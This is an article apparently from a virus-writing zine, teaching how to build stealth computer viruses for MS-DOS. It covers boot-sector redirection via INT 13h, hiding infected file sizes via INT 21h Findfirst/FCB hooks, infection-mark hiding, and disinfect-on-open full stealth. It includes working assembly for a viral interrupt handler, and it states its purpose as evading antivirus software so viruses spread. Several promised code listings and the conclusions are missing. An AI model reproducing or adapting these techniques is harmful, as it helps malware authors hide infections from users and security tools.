S T E A L T H
a handy overview
by MGL/SVL
(exclusive for *-zine )


Contents:

I. Introduction.

In the very beginning of the computer viruses, when a virus was something very curious, there was no need to cover the fact of presence of a virus in files, memory or in boot sectors. But shortly after some people recognized, they can make money by removing viruses, the whole thing become much harder. Of course, there was no problem to code the virus itself, but the problem was to code such a virus, which could not be detected for at least some time by antivirus software. This time was essential for the virus to get in the wild. During the virus history, two basic technologies appeared - STEALTH and POLYMORPHISM. Both technologies are not unknown to the virus writing community and are used in the most succesfull viruses. Main goal of this article is to explain, how does stealth work and how to code a stealth virus.

II. Definition and principles.

The STEALTH is the acting by a quiet and secret way, in order to avoid detection or hiding the presence of something. In the case of a computer virus means the stuff above not only to hide the presence of a virus in the place of storage (file or disc sector) but desirably (only in some cases) also to avoid the detection by antivirus software. This could be done only by the absolute control of infected computer's operating system by the virus. Every critical function of operating system should be penetrated and its return(s) changed to the 'normal' values - the values, which one would receive without the presence of virus in the system.

III. Requested knowledge base.

To code really working steath virus is not a trivial task. The author has to be able to create and debug resident code - this is a must !!! The reason is very simple - WITHOUT RESIDENCY CAN'T VIRUS BE STEALTH. Debugging of resident code is very important. Stealth, that doesn't work is absolute lameness. Based on my own experiences, one of the best solutions for TSR debugging is Soft-Ice by Nu-Mega Technologies. With some minor exceptions is Soft-Ice also good for hacking. You 'll need some good description of operating system. In the case of MSDOS you have shitload of possibilities, but probaly the most acurate and most actuall description is the Interrupt List maintained by Ralf Brown. The actual version is now 53. Books 'Undocumented PC' and 'Undocumented DOS' are of good value for our purposes too. Besides the knoledges do not forget to reserve some time for coding and debugging. And now - the show can go on ...

IV. Stealth for boot viruses.

This case of stealth if the simplest one. We 'll have to work with whole sectors, and this is trivial task.

Sector 0/0/1 is MBR in the case of hard drive, on floppy this sector is boot sector. When a boot virus infects this sector, the original contens is moved elsewhere. Let's say, the virus stores the original sector 0/0/1 to sector 0/0/7. This location is in the virus writing community kinda traditional, it is heritage of the Stoned virus. But you can select any other location. After saving the original MBR/boot sector, the virus places own copy to sector 0/0/1. Then, after rebooting, the copy of the virus in sector 0/0/1 will be loaded to memory at adress 0:7C00h and 'll be excecuted. Virus then allocates memory for memory own resident copy, moves itself to "preserved" memory location, always hooks interrupt INT 13h (in some cases also some other interrupts) and then loads and executes stored MBR/boot sector. Woow! the virus is mow resident in memory, and has gained control over INT 13h.

On every disk access virus gets control as first. This is not true in case of disk access using the ports - here the virus can be detected. The main task for viral INT 13h handler is to recirect any attempt to read/write to sector 0/0/1 (where the virus is located) to 0/0/7. Attempts to write to the sector 0/0/7 (now containing the stored MBR/boot sector) should be ignored. If someone 'll try to read sector 0/0/7, we 'll have to put zeroes to his buffer at ES:BX. Then the handler of INT 13h 'll be like this:

But i have to say, this handle is not the perfect one. It doesn't handle the situation, when more than 1 sector is read or write. In such a case, this handler can be very "unfriendly". Moreover, this handler doesn't preserve the sector with stored MBR/boot sector. But to add such a code in not so hard and it is on you ... I have to say, thay only minority of viruses preserve the stored copy of MBR/boot sector. In most cases this copy 'll not be overwritten...

!!! IMPORTANT !!!

Preserve stored stuff !!!

V. Stealth for file viruses.

Number of file viruses with some stealth is greater than that of boot viruses. Principles of stealth for file viruses if as follows:

Viruses, which handle points A+B+C(+D) are full stealth viruses. Viruses, which handles only point A are that so called semi-stealth viruses. Semi-stealth doesn't need a lot of code, and i 'll explain it first.

aa. SEMI - STEALTH

The main task for semi - stealth virus is to hide the size increase on infected files. This can be easily achieved by cutting the size in DTA after DOS Findfirst / Findnext operations. Such a virus 'll have to handle not only the most common INT 21H/4EH and INT 21H/4FH, used by utilities of type Norton / Volkov Commander, but also DOS FindfirstFCB / FindnextFCB - INT 21H/11H and INT 21H/12H used by DOS command DIR. When operating with FCB, we have to know, that there is difference between FCB and Extended FCB.

Some necessary stuff about DOS data structures you can find below.

Note: to use an extended FCB, you must specify the address of the FFh flag at offset -7, rather than the address of the drive number field

Note: if FCB opened on character device, DWORD at 1Ah is set to the address of the device driver header, then the BYTE at 1Ah is overwritten.

Format of FindFirst data block:

/ taken from Ralf's Interrupt list /

The stategy for semi - stealth is very simple.

    1. Allow the necessary call for operating system.
    2. If error occured, bail out of the interrupt.
    3. Get actual DTA.
    4. Is the file executable ? If it isn't, return from interrupt.
    5. Check the file for infection. If the file is not infected, return from interrupt.
    6. Cut the file size in DTA and leave the handler.
    int_21:
               ....
               cmp ah,11h        ; this is a part of viral
                                 ; INT 21h handler
               je DIR_STEALTH
               cmp ah,12h
               je DIR_STEALTH
               cmp ah,4eh
               je DTA_STEALTH
               cmp ah,4fh
               je DTA_STEALTH
               ....              ; here handler continiues
    
    DIR_STEALTH:
    
            call    dos_emu      ; call original DOS handler of
                                 ; INT 21h
    
            pushf
            pusha
            push    ds,es
            or      al,al        ; was the call successfull?
            jnz     exit_size_fcb
    
    
            mov     ah,2fh
            call    dos_emu      ; get DTA adress to ES:BX
            push    es
            pop     ds
            cmp     byte ptr [bx],0ff
            jne     FCB_not_extended
            add     bx,7
    FCB_not_extended:
            call    test_4_executable
            jc      exit_size_fcb     ; if not executable, exit
            call    test_4_infection
            jc      exit_size_fcb     ; if not infected, exit
            call    test_min_size
            jc      exit_size_fcb     ; skip 2 small files
    
    
            sub     word ptr [bx+1dh],virus_size
            sbb     word ptr [bx+1fh],0
    
    exit_size_fcb:
            pop     es
            pop     ds
            popa
            popf
            retf    2
    
    
    
    DTA_STEALTH:
            call    dos_emu      ; call original DOS handler of
                                 ; INT 21h
    
            pushf
            pusha
            push    ds,es
            or      al,al        ; was the call successfull?
            jnz     exit_size_fcb
    
    
            mov     ah,2fh
            call    dos_emu      ; get DTA adress to ES:BX
            push    es
            pop     ds
    
            call    test_4_executable
            jc      exit_size_dta     ; if not executable, exit
            call    test_4_infection
            jc      exit_size_dta     ; if not infected, exit
            call    test_min_size
            jc      exit_size_dta     ; skip 2 small files
    
            sub     word ptr [bx+1ah],virus_size
            sbb     word ptr [bx+1ch],0
    
    exit_size_dta:
            pop es
            pop ds
            popa
            popf
            retf 2
    

As you may noticed, the code for DTA_STEALTH and DIR_STEALTH has a lot of the same stuff, and it could be possible to code it as one routine.

bb. MARK STEALTH.

To demonstrate the stealth of infection mark, here is some piece of code. It was designed for virus, which uses as mark seconds in timestamp = 28. This handler doesn't cover the situation, where someone tries to get timestamp. In the case of coplex approach, this situation can be hadled too. But the user most likely will not notice any change ... And so this code seems to be optimal.

cc. FULL STEALTH

Semi - stealth is for full stealth virii a must. To get a working full stealth virus, there are two different ways.

It is known fact, that to code virus of first type is much more easier as to code the virus of second type. To code viruses of both types requires some experiences, so the code which 'll follow is my well known "meta code".

ca. Desinfection on open / Reinfection on close.

Here is desired not only the desinfection on open and reinfection on close, but also desinfection on 4B01h - load and do not execute, which is used by some debugers to load file in the memory. Just for lamers i point to 2 imporant things:

Situation before file is closed is simple... We do not have file name, but we have file handle. So we can use part of code, which is desiged to infect files on execution.

cb. TRUE FULL STEALTH.

This is most difficult task for every coder (besides some kick-the-ass poly engine). As this problem is very complex, I 'll only explain, what one should do on all critical DOS functions.

- INT 21h / 4E,4F,11,12

- INT 21h / 4B01h,40h

- INT 21h / 3Dh

- INT 21h / 42h

- INT 21h / 3Fh

    Fig.1
    .---------------------.------------------.------------.-------------.
    | Changed stuff       | Rest of infected | Virus body | Saved stuff |
    | EXE header, COM jmp |     file         |            |             |
    '---------------------'------------------'------------'-------------'

- INT 21h / 4Ch

- INT 21h / 57h

dd. MCB STEALTH.

This part is very short. If you want to known the principles and basics, refer to MCB stealth by Darkman in VLAD #6

VI. Conclusions

A. Pro - stealth

B. Contra - stealth

C. Solution: